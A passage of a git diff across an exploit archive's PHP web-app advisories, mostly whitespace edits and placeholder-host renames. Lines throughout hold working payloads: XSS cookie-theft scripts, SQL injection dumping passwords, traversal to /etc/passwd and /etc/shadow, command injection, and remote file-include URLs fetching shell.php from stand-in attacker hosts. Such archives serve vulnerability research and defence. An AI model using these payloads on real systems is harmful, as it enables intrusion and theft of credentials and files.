HTML and script code would execute in the context of the affec NOTE: To trigger this vulnerability, the attacker must log in with a valid account. -http://www.example.com/smf/index.php?action=pm;sa=send \ No newline at end of file +http://www.example.com/smf/index.php?action=pm;sa=send \ No newline at end of file diff --git a/platforms/php/webapps/29504.txt b/platforms/php/webapps/29504.txt index 2bbd87878..f8048e1bc 100755 --- a/platforms/php/webapps/29504.txt +++ b/platforms/php/webapps/29504.txt @@ -6,4 +6,4 @@ A successful exploit could allow an attacker to compromise the application, acce This issue affects version 1; other versions may also be vulnerable. -http://example.com/uds/banner.php?bid=[SQL] \ No newline at end of file +http://example.com/uds/banner.php?bid=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/29505.txt b/platforms/php/webapps/29505.txt index d4137c18b..8f5fb6614 100755 --- a/platforms/php/webapps/29505.txt +++ b/platforms/php/webapps/29505.txt @@ -8,4 +8,4 @@ These issues affect versions 0.08 Beta and 6.30 Beta; other versions may also be http://www.example.com/board/search.php?keyword=[XSS] -http://www.example.com/Board/list3.php?user=[XSS] \ No newline at end of file +http://www.example.com/Board/list3.php?user=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/29506.txt b/platforms/php/webapps/29506.txt index 64f9e9896..6f14ff7e0 100755 --- a/platforms/php/webapps/29506.txt +++ b/platforms/php/webapps/29506.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to have arbitrary script code execute in t These issues affect version 1.3.1; other versions may also be vulnerable. -http://www.example.com/articles/edit.php/>"><ScRiPt>alert(907810260)%3B</ScRiPt> http://www.example.com/articles/list.php/>"><ScRiPt>alert(907810260)%3B</ScRiPt> http://www.example.com/blogs/list_blogs.php/>"><ScRiPt>alert(907810260)%3B</ScRiPt> http://www.example.com/blogs/rankings.php/>"><ScRiPt>alert(907810260)%3B</ScRiPt> \ No newline at end of file +http://www.example.com/articles/edit.php/>"><ScRiPt>alert(907810260)%3B</ScRiPt> http://www.example.com/articles/list.php/>"><ScRiPt>alert(907810260)%3B</ScRiPt> http://www.example.com/blogs/list_blogs.php/>"><ScRiPt>alert(907810260)%3B</ScRiPt> http://www.example.com/blogs/rankings.php/>"><ScRiPt>alert(907810260)%3B</ScRiPt> \ No newline at end of file diff --git a/platforms/php/webapps/29507.txt b/platforms/php/webapps/29507.txt index f263800a8..9cf47c33c 100755 --- a/platforms/php/webapps/29507.txt +++ b/platforms/php/webapps/29507.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to have arbitrary script code execute in the Version 4.00 beta is vulnerable; other versions may also be affected. -http://www.example.com/guestbookv4.0/show.php?user='><script>alert(document.cookie);</script> \ No newline at end of file +http://www.example.com/guestbookv4.0/show.php?user='><script>alert(document.cookie);</script> \ No newline at end of file diff --git a/platforms/php/webapps/29521.txt b/platforms/php/webapps/29521.txt index a9dbf80b3..29fb0727b 100755 --- a/platforms/php/webapps/29521.txt +++ b/platforms/php/webapps/29521.txt @@ -6,4 +6,4 @@ Exploiting this issue may allow an attacker to compromise the application and th This issue affects version 0.1; other versions may also be vulnerable. -http://www.example.com/modules/mail/main.php?MODULES_DIR=shell.txt \ No newline at end of file +http://www.example.com/modules/mail/main.php?MODULES_DIR=shell.txt \ No newline at end of file diff --git a/platforms/php/webapps/29529.txt b/platforms/php/webapps/29529.txt index b57d04333..860d14cb1 100755 --- a/platforms/php/webapps/29529.txt +++ b/platforms/php/webapps/29529.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to have arbitrary script code execute in the This issue affects version 1.5; other versions may also be affected. -http://www.example.com/path/php_mm1.4/admin.php?_p=XSS=_approval_users \ No newline at end of file +http://www.example.com/path/php_mm1.4/admin.php?_p=XSS=_approval_users \ No newline at end of file diff --git a/platforms/php/webapps/29530.txt b/platforms/php/webapps/29530.txt index 939e51fa3..e8c9ce015 100755 --- a/platforms/php/webapps/29530.txt +++ b/platforms/php/webapps/29530.txt @@ -6,4 +6,4 @@ An attacker can exploit this vulnerability to retrieve arbitrary files from the FD Script 1.32 and prior versions are vulnerable to this issue. -http://www,example.com/download.php?fname=[SOURCE FILE] \ No newline at end of file +http://www,example.com/download.php?fname=[SOURCE FILE] \ No newline at end of file diff --git a/platforms/php/webapps/29534.txt b/platforms/php/webapps/29534.txt index 797a13045..11436b544 100755 --- a/platforms/php/webapps/29534.txt +++ b/platforms/php/webapps/29534.txt @@ -6,4 +6,4 @@ A successful exploit could allow an attacker to compromise the application, acce This issue affects version 3.40; other versions may also be vulnerable. -http://www.example.com/rss/show_webfeed.php?wcCategory=0&wcHeadlines=[SQL] \ No newline at end of file +http://www.example.com/rss/show_webfeed.php?wcCategory=0&wcHeadlines=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/29537.txt b/platforms/php/webapps/29537.txt index 083e31dba..6f655c20d 100755 --- a/platforms/php/webapps/29537.txt +++ b/platforms/php/webapps/29537.txt @@ -6,4 +6,4 @@ A successful exploit could allow an attacker to compromise the application, acce Version 1.0.76 is vulnerable to this issue; other versions may also be affected. -http://www.example.com/index.php?module=News&startrow='[sql injection] \ No newline at end of file +http://www.example.com/index.php?module=News&startrow='[sql injection] \ No newline at end of file diff --git a/platforms/php/webapps/29539.txt b/platforms/php/webapps/29539.txt index ae6367415..3bbe5535e 100755 --- a/platforms/php/webapps/29539.txt +++ b/platforms/php/webapps/29539.txt @@ -6,4 +6,4 @@ Exploiting this issue may allow an attacker to compromise the application and th This issue affects EncapsCMS 0.3.6; other versions may also be vulnerable. -http://www.example.com/encapscms-0.3.6/common_foot.php?config[path]=evilcode? \ No newline at end of file +http://www.example.com/encapscms-0.3.6/common_foot.php?config[path]=evilcode? \ No newline at end of file diff --git a/platforms/php/webapps/2955.txt b/platforms/php/webapps/2955.txt index 4fda285e6..30f5e9833 100755 --- a/platforms/php/webapps/2955.txt +++ b/platforms/php/webapps/2955.txt @@ -19,7 +19,7 @@ + -> <?php require_once $HTTP_DOCUMENT_ROOT.$INCLUDE_PATH.$HEADER. + + Proof Of Concept: -+ http://[target]/[path]/music/buycd.php?HTTP_DOCUMENT_ROOT=http://evilserver/shell.php? ++ http://[target]/[path]/music/buycd.php?HTTP_DOCUMENT_ROOT=http://evilsite.com/shell.php? +------------------------------------------------------------------------------------------- # milw0rm.com [2006-12-19] diff --git a/platforms/php/webapps/29556.txt b/platforms/php/webapps/29556.txt index 8cd5fa3f9..b3c8c011f 100755 --- a/platforms/php/webapps/29556.txt +++ b/platforms/php/webapps/29556.txt @@ -6,4 +6,4 @@ Exploiting this issue may allow an attacker to compromise the application and th This issue affects version 2.8.2; other versions may also be vulnerable. -http://www.example.com/openemr-2.8.2/custom/import_xml.php?srcdir=evilcode \ No newline at end of file +http://www.example.com/openemr-2.8.2/custom/import_xml.php?srcdir=evilcode \ No newline at end of file diff --git a/platforms/php/webapps/29557.txt b/platforms/php/webapps/29557.txt index 2ed3e5316..c1ba52678 100755 --- a/platforms/php/webapps/29557.txt +++ b/platforms/php/webapps/29557.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow This issue affects version 2.8.2; other versions may also be vulnerable. -http://www.example.com/openemr/interface/login/login_frame.php?rootdir=[XSS] \ No newline at end of file +http://www.example.com/openemr/interface/login/login_frame.php?rootdir=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/29559.txt b/platforms/php/webapps/29559.txt index bcb9fe84f..a0493ec37 100755 --- a/platforms/php/webapps/29559.txt +++ b/platforms/php/webapps/29559.txt @@ -13,4 +13,4 @@ An attacker can exploit this issue via a web client. The following proof-of-concept URIs are available: http://www.example.com/easymoblog/add_comment.php?i='[SQL] -http://www.example.com/easymoblog/img.php?i='[XSS] \ No newline at end of file +http://www.example.com/easymoblog/img.php?i='[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/2956.txt b/platforms/php/webapps/2956.txt index 686a271cb..39b749b66 100755 --- a/platforms/php/webapps/2956.txt +++ b/platforms/php/webapps/2956.txt @@ -21,22 +21,22 @@ + ... see below for a list of files affected. + + Proof Of Concept: -+ http://[target]/[path]/include/body.inc.php?menu=http://evilserver/shell.php -+ http://[target]/[path]/include/index.inc.php?incpath=http://evilserver/shell.php? -+ http://[target]/[path]/include/account.inc.php?action=update&incpath=http://evilserver/shell.php? -+ http://[target]/[path]/include/admin_newcomm.inc.php?action=create&incpath=http://evilserver/shell.php? -+ http://[target]/[path]/include/header_admin.inc.php?incpath=http://evilserver/shell.php? -+ http://[target]/[path]/include/header.inc.php?incpath=http://evilserver/shell.php? -+ http://[target]/[path]/include/friends.inc.php?action=invite&incpath=http://evilserver/shell.php? -+ http://[target]/[path]/include/menu_u.inc.php?incpath=http://evilserver/shell.php? -+ http://[target]/[path]/include/notify.inc.php?action=sendit&incpath=http://evilserver/shell.php? -+ http://[target]/[path]/include/body.inc.php?incpath=http://evilserver/shell.php? -+ http://[target]/[path]/include/body_admin.inc.php?menu=http://evilserver/shell.php -+ http://[target]/[path]/include/body_admin.inc.php?incpath=http://evilserver/shell.php? -+ http://[target]/[path]/include/commrecc.inc.php?action=recommend&incpath=http://evilserver/shell.php? -+ http://[target]/[path]/include/do_reg.inc.php?incpath=http://evilserver/shell.php? -+ http://[target]/[path]/include/comm_post.inc.php?action=post&incpath=http://evilserver/shell.php? -+ http://[target]/[path]/include/menu_v.inc.php?incpath=http://evilserver/shell.php? ++ http://[target]/[path]/include/body.inc.php?menu=http://evilsite.com/shell.php ++ http://[target]/[path]/include/index.inc.php?incpath=http://evilsite.com/shell.php? ++ http://[target]/[path]/include/account.inc.php?action=update&incpath=http://evilsite.com/shell.php? ++ http://[target]/[path]/include/admin_newcomm.inc.php?action=create&incpath=http://evilsite.com/shell.php? ++ http://[target]/[path]/include/header_admin.inc.php?incpath=http://evilsite.com/shell.php? ++ http://[target]/[path]/include/header.inc.php?incpath=http://evilsite.com/shell.php? ++ http://[target]/[path]/include/friends.inc.php?action=invite&incpath=http://evilsite.com/shell.php? ++ http://[target]/[path]/include/menu_u.inc.php?incpath=http://evilsite.com/shell.php? ++ http://[target]/[path]/include/notify.inc.php?action=sendit&incpath=http://evilsite.com/shell.php? ++ http://[target]/[path]/include/body.inc.php?incpath=http://evilsite.com/shell.php? ++ http://[target]/[path]/include/body_admin.inc.php?menu=http://evilsite.com/shell.php ++ http://[target]/[path]/include/body_admin.inc.php?incpath=http://evilsite.com/shell.php? ++ http://[target]/[path]/include/commrecc.inc.php?action=recommend&incpath=http://evilsite.com/shell.php? ++ http://[target]/[path]/include/do_reg.inc.php?incpath=http://evilsite.com/shell.php? ++ http://[target]/[path]/include/comm_post.inc.php?action=post&incpath=http://evilsite.com/shell.php? ++ http://[target]/[path]/include/menu_v.inc.php?incpath=http://evilsite.com/shell.php? +------------------------------------------------------------------------------------------- # milw0rm.com [2006-12-19] diff --git a/platforms/php/webapps/29560.txt b/platforms/php/webapps/29560.txt index 31e9bd2b4..b5bf0c8e3 100755 --- a/platforms/php/webapps/29560.txt +++ b/platforms/php/webapps/29560.txt @@ -4,4 +4,4 @@ PHPProbid is prone to a remote file-include vulnerability because it fails to su Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible. -http://example.com//lang.php?lang=<i*****%20height=1000%20width=1000%2 0src=http://Shell-Attack/> \ No newline at end of file +http://example.com//lang.php?lang=<i*****%20height=1000%20width=1000%2 0src=http://Shell-Attack/> \ No newline at end of file diff --git a/platforms/php/webapps/29561.txt b/platforms/php/webapps/29561.txt index 14df29757..3b4774c9b 100755 --- a/platforms/php/webapps/29561.txt +++ b/platforms/php/webapps/29561.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Version 2.7.10 is vulnerable to this issue; other versions may also be affected. -http://www.example.com/imap/index.php?lid=en_UK&tid=default&f_user=XSS \ No newline at end of file +http://www.example.com/imap/index.php?lid=en_UK&tid=default&f_user=XSS \ No newline at end of file diff --git a/platforms/php/webapps/29564.txt b/platforms/php/webapps/29564.txt index ebc96b6b1..bc6d49b9c 100755 --- a/platforms/php/webapps/29564.txt +++ b/platforms/php/webapps/29564.txt @@ -6,4 +6,4 @@ A successful exploit of these issues allows an attacker to execute arbitrary ser PortailPHP 2 is vulnerable to these issues; other versions may also be affected. -http://www.example.com/mod_news/index.php?chemin=http://server/file.txt?%00 \ No newline at end of file +http://www.example.com/mod_news/index.php?chemin=http://site.com/file.txt?%00 \ No newline at end of file diff --git a/platforms/php/webapps/29565.txt b/platforms/php/webapps/29565.txt index c24838548..5dca924a5 100755 --- a/platforms/php/webapps/29565.txt +++ b/platforms/php/webapps/29565.txt @@ -6,4 +6,4 @@ A successful exploit of these issues allows an attacker to execute arbitrary ser PortailPHP 2 is vulnerable to these issues; other versions may also be affected. -http://www.example.com/mod_news/goodies.php?chemin=http://server/file.txt?%00 \ No newline at end of file +http://www.example.com/mod_news/goodies.php?chemin=http://site.com/file.txt?%00 \ No newline at end of file diff --git a/platforms/php/webapps/29566.txt b/platforms/php/webapps/29566.txt index d3eef4242..079d8425f 100755 --- a/platforms/php/webapps/29566.txt +++ b/platforms/php/webapps/29566.txt @@ -6,4 +6,4 @@ A successful exploit of these issues allows an attacker to execute arbitrary ser PortailPHP 2 is vulnerable to these issues; other versions may also be affected. -http://www.example.commod_search/index.php?chemin=http://server/file.txt?%00 \ No newline at end of file +http://www.example.commod_search/index.php?chemin=http://site.com/file.txt?%00 \ No newline at end of file diff --git a/platforms/php/webapps/29568.txt b/platforms/php/webapps/29568.txt index 13a33cf88..28d1b38d7 100755 --- a/platforms/php/webapps/29568.txt +++ b/platforms/php/webapps/29568.txt @@ -4,4 +4,4 @@ Coppermine Photo Gallery is prone to multiple remote and local file-include vuln An attacker can exploit these issues to execute arbitrary PHP code in the context of the webserver process. This may facilitate a remote compromise of the underlying system; other attacks are also possible. -http://www.example.com/bridge/enigma/E2_header.inc.php?boarddir=http://evil_scripts? \ No newline at end of file +http://www.example.com/bridge/enigma/E2_header.inc.php?boarddir=http://evil_scripts? \ No newline at end of file diff --git a/platforms/php/webapps/29569.txt b/platforms/php/webapps/29569.txt index 0ff88f417..1040711d6 100755 --- a/platforms/php/webapps/29569.txt +++ b/platforms/php/webapps/29569.txt @@ -4,4 +4,4 @@ MySQLNewsEngine is prone to a remote file-include vulnerability because it fails Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible. -http://www.example.com/affichearticles.php3?newsenginedir=[attacker] \ No newline at end of file +http://www.example.com/affichearticles.php3?newsenginedir=[attacker] \ No newline at end of file diff --git a/platforms/php/webapps/29571.txt b/platforms/php/webapps/29571.txt index 21f9af612..3754a5c71 100755 --- a/platforms/php/webapps/29571.txt +++ b/platforms/php/webapps/29571.txt @@ -6,4 +6,4 @@ An attacker can exploit this issue to execute arbitrary commands with superuser NOTE: To exploit this issue, an attacker must have authenticated access to a customer control panel. -"; cp /var/www/syscp/lib/userdata.inc.php /var/[user]/webs/web1/; ls " \ No newline at end of file +"; cp /var/www/syscp/lib/userdata.inc.php /var/[user]/webs/web1/; ls " \ No newline at end of file diff --git a/platforms/php/webapps/29572.txt b/platforms/php/webapps/29572.txt index c3df79ab2..5d6178726 100755 --- a/platforms/php/webapps/29572.txt +++ b/platforms/php/webapps/29572.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow cPanel 11.0.0 and prior versions are vulnerable to this issue. -http://www.example.com/scripts/passwdmysql?password=[xss]&user=root&submit=Change+Password \ No newline at end of file +http://www.example.com/scripts/passwdmysql?password=[xss]&user=root&submit=Change+Password \ No newline at end of file diff --git a/platforms/php/webapps/29599.txt b/platforms/php/webapps/29599.txt index 82d2bbfe8..9e617681c 100755 --- a/platforms/php/webapps/29599.txt +++ b/platforms/php/webapps/29599.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow TaskFreak! 0.5.5 multiuser edition is reportedly vulnerable; other versions may be affected as well. -http://127.0.0.1/path/search?q=%22%3E%3Cscript%3Ealert%28%27bl4ck%27%29%3C%2Fscript%3E \ No newline at end of file +http://127.0.0.1/path/search?q=%22%3E%3Cscript%3Ealert%28%27bl4ck%27%29%3C%2Fscript%3E \ No newline at end of file diff --git a/platforms/php/webapps/2960.pl b/platforms/php/webapps/2960.pl index d562aaaba..fcb3565dc 100755 --- a/platforms/php/webapps/2960.pl +++ b/platforms/php/webapps/2960.pl @@ -63,8 +63,8 @@ sub usage() { head(); print " Usage: cmwCounter.pl [target] [cmd shell location] [cmd shell variable]\r\n\n"; - print " <Site> - Full path to cwmCounter ex: http://www.server/ \r\n"; - print " <cmd shell> - Path to cmd Shell e.g http://www.different-server/cmd.txt \r\n"; + print " <Site> - Full path to cwmCounter ex: http://www.site.com/ \r\n"; + print " <cmd shell> - Path to cmd Shell e.g http://www.different-site.com/cmd.txt \r\n"; print " <cmd variable> - Command variable used in php shell \r\n"; print "============================================================================\r\n"; print " Bug Found by bd0rk \r\n"; diff --git a/platforms/php/webapps/29602.txt b/platforms/php/webapps/29602.txt index cf204e0ec..c56073384 100755 --- a/platforms/php/webapps/29602.txt +++ b/platforms/php/webapps/29602.txt @@ -6,4 +6,4 @@ A successful exploit of these vulnerabilities could allow an attacker to comprom WebTester 5.0.20060927 and prior versions are vulnerable. -http://www.example.com/webtester/directions.php?testID=\' \ No newline at end of file +http://www.example.com/webtester/directions.php?testID=\' \ No newline at end of file diff --git a/platforms/php/webapps/29604.txt b/platforms/php/webapps/29604.txt index 5441b1a70..a6bc52eb8 100755 --- a/platforms/php/webapps/29604.txt +++ b/platforms/php/webapps/29604.txt @@ -6,4 +6,4 @@ A successful exploit could allow an attacker to compromise the application, acce This issue affects version 2.5.9+; other versions may also be vulnerable. -http://www.example.com/forum/arcade.php?act=Arcade%20search_type=0&gsearch=' union select password,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 from user where userid = USERID /* \ No newline at end of file +http://www.example.com/forum/arcade.php?act=Arcade%20search_type=0&gsearch=' union select password,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 from user where userid = USERID /* \ No newline at end of file diff --git a/platforms/php/webapps/29605.txt b/platforms/php/webapps/29605.txt index b0a7bdf8f..6b099a0de 100755 --- a/platforms/php/webapps/29605.txt +++ b/platforms/php/webapps/29605.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow This issue affects version 1.1.0; other versions may also be affected. -http://www.example.com/dp/faq.php?article=[xss] \ No newline at end of file +http://www.example.com/dp/faq.php?article=[xss] \ No newline at end of file diff --git a/platforms/php/webapps/29606.txt b/platforms/php/webapps/29606.txt index 53e9aced7..29cbbc122 100755 --- a/platforms/php/webapps/29606.txt +++ b/platforms/php/webapps/29606.txt @@ -4,4 +4,4 @@ Calendar Express is prone to a cross-site scripting vulnerability because the ap An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. -http://127.0.0.1/path/search?q=%22%3E%3Cscript%3Ealert%28%27bl4ck%27%29%3C%2Fscript%3E \ No newline at end of file +http://127.0.0.1/path/search?q=%22%3E%3Cscript%3Ealert%28%27bl4ck%27%29%3C%2Fscript%3E \ No newline at end of file diff --git a/platforms/php/webapps/29609.txt b/platforms/php/webapps/29609.txt index 69f334ef6..425378aa5 100755 --- a/platforms/php/webapps/29609.txt +++ b/platforms/php/webapps/29609.txt @@ -6,4 +6,4 @@ An attacker can exploit this issue to execute arbitrary PHP code in the context This issue affects version 1.1.1; other versions may also be affected. -http://www.example.com/path/include.php?_SERVER[DOCUMENT_ROOT]=[shell] \ No newline at end of file +http://www.example.com/path/include.php?_SERVER[DOCUMENT_ROOT]=[shell] \ No newline at end of file diff --git a/platforms/php/webapps/29621.txt b/platforms/php/webapps/29621.txt index c4903e231..0b2bb70ca 100755 --- a/platforms/php/webapps/29621.txt +++ b/platforms/php/webapps/29621.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br Version 2.20.3 is vulnerable; other versions may also be affected. -http://www.example.com/calendar/index.php?go="><script>alert(document.cookie)</script> \ No newline at end of file +http://www.example.com/calendar/index.php?go="><script>alert(document.cookie)</script> \ No newline at end of file diff --git a/platforms/php/webapps/29624.txt b/platforms/php/webapps/29624.txt index 2c5b413c1..8052516e7 100755 --- a/platforms/php/webapps/29624.txt +++ b/platforms/php/webapps/29624.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow CedStat 1.31 and prior versions are vulnerable. -http://www.example.com/cedstat/index.php?hier=%3C%68%31%3E%74%65%73%74%65%64%20%62%79%20%73%6E%30%6F%50%79%3C%2F%68%31%3E \ No newline at end of file +http://www.example.com/cedstat/index.php?hier=%3C%68%31%3E%74%65%73%74%65%64%20%62%79%20%73%6E%30%6F%50%79%3C%2F%68%31%3E \ No newline at end of file diff --git a/platforms/php/webapps/29626.txt b/platforms/php/webapps/29626.txt index 9a65a0856..3bf28c4e8 100755 --- a/platforms/php/webapps/29626.txt +++ b/platforms/php/webapps/29626.txt @@ -6,4 +6,4 @@ An attacker can exploit these vulnerabilities to retrieve arbitrary files from t phpTrafficA version 1.4.1 is vulnerable to these issues. -http://www.example.com/phpTrafficA/banref.php?lang=/../../../../../../../../../etc/passwd%00 \ No newline at end of file +http://www.example.com/phpTrafficA/banref.php?lang=/../../../../../../../../../etc/passwd%00 \ No newline at end of file diff --git a/platforms/php/webapps/29629.txt b/platforms/php/webapps/29629.txt index 2450d57ff..8bdef0b97 100755 --- a/platforms/php/webapps/29629.txt +++ b/platforms/php/webapps/29629.txt @@ -6,4 +6,4 @@ An attacker can exploit these issues to execute arbitrary PHP code in the contex These issues affects version 1.0.2; other versions may also be vulnerable. - http://www.example.com/n_layouts.php?link_parameters="><script>alert(document.cookie);</script> \ No newline at end of file + http://www.example.com/n_layouts.php?link_parameters="><script>alert(document.cookie);</script> \ No newline at end of file diff --git a/platforms/php/webapps/29632.txt b/platforms/php/webapps/29632.txt index 07e60b754..dbe841420 100755 --- a/platforms/php/webapps/29632.txt +++ b/platforms/php/webapps/29632.txt @@ -8,4 +8,4 @@ http://www.example.com/pyrophobia/?act=../../../../../../../../../../../../file. http://www.example.com/pyrophobia/?pid=../../../../../../../../../../../../file.ext%00 -http://www.example.com/pyrophobia/admin/index.php?action=../../../../../../../../../../../../../file.ext%00 \ No newline at end of file +http://www.example.com/pyrophobia/admin/index.php?action=../../../../../../../../../../../../../file.ext%00 \ No newline at end of file diff --git a/platforms/php/webapps/29635.txt b/platforms/php/webapps/29635.txt index 66b1b213e..b0bc32d78 100755 --- a/platforms/php/webapps/29635.txt +++ b/platforms/php/webapps/29635.txt @@ -4,4 +4,4 @@ Pheap is prone to a directory-traversal vulnerability because it fails to proper An attacker can exploit this vulnerability to retrieve and edit the contents of arbitrary files from the vulnerable system in the context of the affected application. -http://www.example.com/edit.php?em=file&filename=../../../../../../../../../../../../../etc/passwd \ No newline at end of file +http://www.example.com/edit.php?em=file&filename=../../../../../../../../../../../../../etc/passwd \ No newline at end of file diff --git a/platforms/php/webapps/29639.txt b/platforms/php/webapps/29639.txt index 40b94f703..2b2ddf986 100755 --- a/platforms/php/webapps/29639.txt +++ b/platforms/php/webapps/29639.txt @@ -4,4 +4,4 @@ LoveCMS is prone to multiple input-validation vulnerabilities, including an arbi An attacker can exploit these issues to steal cookie-based authentication credentials, upload an arbitrary PHP file, execute the file on the vulnerable computer in the context of the webserver process, retrieve arbitrary files from the vulnerable system in the context of the affected application, and delete arbitrary files on the server. -http://www.example.com/lovecms/?load=content&id=[xss] \ No newline at end of file +http://www.example.com/lovecms/?load=content&id=[xss] \ No newline at end of file diff --git a/platforms/php/webapps/29640.txt b/platforms/php/webapps/29640.txt index b5f7e7650..17edbeb6f 100755 --- a/platforms/php/webapps/29640.txt +++ b/platforms/php/webapps/29640.txt @@ -4,4 +4,4 @@ Shop Kit Plus is prone to a local file-include vulnerability because it fails to An attacker can exploit this vulnerability using directory-traversal strings to execute local script code in the context of the application. This may allow the attacker to access sensitive information that may aid in further attacks. -http://www.example.com/shopkitplus/enc/stylecss.php?changetheme=../../../../../../../../../../../../etc/passwd \ No newline at end of file +http://www.example.com/shopkitplus/enc/stylecss.php?changetheme=../../../../../../../../../../../../etc/passwd \ No newline at end of file diff --git a/platforms/php/webapps/29641.txt b/platforms/php/webapps/29641.txt index 39a7594c8..27455eabe 100755 --- a/platforms/php/webapps/29641.txt +++ b/platforms/php/webapps/29641.txt @@ -6,4 +6,4 @@ Exploiting this issue may allow an unauthorized user to view files and execute l xt:Commerce 3.04 and prior versions are vulnerable to this issue. -http://www.example.com/index.php?currency=EUR&manufacturers_id=1&template=../../../../../../../../etc/passwd%00 \ No newline at end of file +http://www.example.com/index.php?currency=EUR&manufacturers_id=1&template=../../../../../../../../etc/passwd%00 \ No newline at end of file diff --git a/platforms/php/webapps/29644.txt b/platforms/php/webapps/29644.txt index 1fda828a8..d66916eb5 100755 --- a/platforms/php/webapps/29644.txt +++ b/platforms/php/webapps/29644.txt @@ -6,4 +6,4 @@ Exploiting this issue may allow an unauthorized user to view files and execute l Version 0.3 is vulnerable to this issue; other versions may also be affected. -http://www.example.com/Pickle/src/download.php?img=1&file=../../../../../../../../../../../../../etc/shadow&rotation=0&img=0 \ No newline at end of file +http://www.example.com/Pickle/src/download.php?img=1&file=../../../../../../../../../../../../../etc/shadow&rotation=0&img=0 \ No newline at end of file diff --git a/platforms/php/webapps/29645.txt b/platforms/php/webapps/29645.txt index 1ece521c6..66c2886bf 100755 --- a/platforms/php/webapps/29645.txt +++ b/platforms/php/webapps/29645.txt @@ -6,4 +6,4 @@ Exploiting this issue may allow an unauthorized user to view files and execute l Version 1.2.0 is vulnerable; other versions may also be affected. -http://www.example.com/activecalendar/data/showcode.php?page=../../../../../../../../../../../../../../etc/passwd%00 \ No newline at end of file +http://www.example.com/activecalendar/data/showcode.php?page=../../../../../../../../../../../../../../etc/passwd%00 \ No newline at end of file diff --git a/platforms/php/webapps/2965.txt b/platforms/php/webapps/2965.txt index 4ac8d0c5e..84df9d9f3 100755 --- a/platforms/php/webapps/2965.txt +++ b/platforms/php/webapps/2965.txt @@ -18,7 +18,7 @@ + -> include ("$ROOT_PATH/config.php"); + + Proof Of Concept: -+ http://[target]/[path]/config/sender.php?ROOT_PATH=http://evilserver/shell.php? ++ http://[target]/[path]/config/sender.php?ROOT_PATH=http://evilsite.com/shell.php? +------------------------------------------------------------------------------------------- # milw0rm.com [2006-12-20] diff --git a/platforms/php/webapps/29658.txt b/platforms/php/webapps/29658.txt index 9c286f9cc..05ac94a29 100755 --- a/platforms/php/webapps/29658.txt +++ b/platforms/php/webapps/29658.txt @@ -4,4 +4,4 @@ PhotoStand is prone to a cross-site scripting vulnerability because the applicat An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/index.php?page=search&q=<script>alert(document.cookie)</script> \ No newline at end of file +http://www.example.com/index.php?page=search&q=<script>alert(document.cookie)</script> \ No newline at end of file diff --git a/platforms/php/webapps/29662.txt b/platforms/php/webapps/29662.txt index 6ca04f7b7..d252ec671 100755 --- a/platforms/php/webapps/29662.txt +++ b/platforms/php/webapps/29662.txt @@ -4,4 +4,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br Docebo 3.0.5 and prior versions are vulnerable; other versions may also be affected. -http://www.example.com/doceboScs/modules/htmlframechat/index.php?sn=<script>alert('XSS');</script> http://www.example.com/doceboScs/modules/htmlframechat/index.php?ri=<script>alert('XSS');</script> \ No newline at end of file +http://www.example.com/doceboScs/modules/htmlframechat/index.php?sn=<script>alert('XSS');</script> http://www.example.com/doceboScs/modules/htmlframechat/index.php?ri=<script>alert('XSS');</script> \ No newline at end of file diff --git a/platforms/php/webapps/29663.txt b/platforms/php/webapps/29663.txt index 2f8b65aaa..0f8d99b1c 100755 --- a/platforms/php/webapps/29663.txt +++ b/platforms/php/webapps/29663.txt @@ -4,4 +4,4 @@ SolarPay is prone to a local file-include vulnerability because the utility fail Successfully exploiting this issue allows attackers to gain access to files located in directories they do not have permissions to access. Information that attackers harvest may aid them in further attacks. -http://www.example.com/index.php?read=../admin/a_searchu.php \ No newline at end of file +http://www.example.com/index.php?read=../admin/a_searchu.php \ No newline at end of file diff --git a/platforms/php/webapps/29665.txt b/platforms/php/webapps/29665.txt index fecfa7386..ef63f810f 100755 --- a/platforms/php/webapps/29665.txt +++ b/platforms/php/webapps/29665.txt @@ -9,4 +9,4 @@ SQLiteManager 1.2.0 is vulnerable to this issue; other versions may also be affe GET /home/sqlite/ HTTP/1.0 [...] Cookie: PHPSESSID=[...];SQLiteManager_currentTheme=../../../../../../../../../../../../../etc/passwd%00; -SQLiteManager_currentLangue=deleted \ No newline at end of file +SQLiteManager_currentLangue=deleted \ No newline at end of file diff --git a/platforms/php/webapps/29677.txt b/platforms/php/webapps/29677.txt index dd4b38c42..be8a17fc4 100755 --- a/platforms/php/webapps/29677.txt +++ b/platforms/php/webapps/29677.txt @@ -4,4 +4,4 @@ Exploiting these issues could allow an attacker to steal cookie-based authentica Audins Audiens version 3.3 is vulnerable; other versions may also be affected. -http://www.example.com/[path]/setup.php/>"><ScRiPt>alert('XSS')%3B</ScRiPt> \ No newline at end of file +http://www.example.com/[path]/setup.php/>"><ScRiPt>alert('XSS')%3B</ScRiPt> \ No newline at end of file diff --git a/platforms/php/webapps/29679.html b/platforms/php/webapps/29679.html index 60bd9b2fd..b92fc693e 100755 --- a/platforms/php/webapps/29679.html +++ b/platforms/php/webapps/29679.html @@ -23,4 